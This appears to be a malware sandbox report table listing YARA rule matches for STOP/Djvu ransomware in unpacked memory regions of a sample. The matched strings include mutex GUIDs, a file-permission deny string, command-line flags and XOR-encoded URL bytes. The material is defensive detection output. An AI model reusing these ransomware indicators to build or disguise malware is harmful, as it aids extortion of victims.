11.0.bE5aaTiJM0.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
11.0.bE5aaTiJM0.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.bE5aaTiJM0.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.2.bE5aaTiJM0.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.bE5aaTiJM0.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
16.0.bE5aaTiJM0.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.bE5aaTiJM0.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.2.bE5aaTiJM0.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
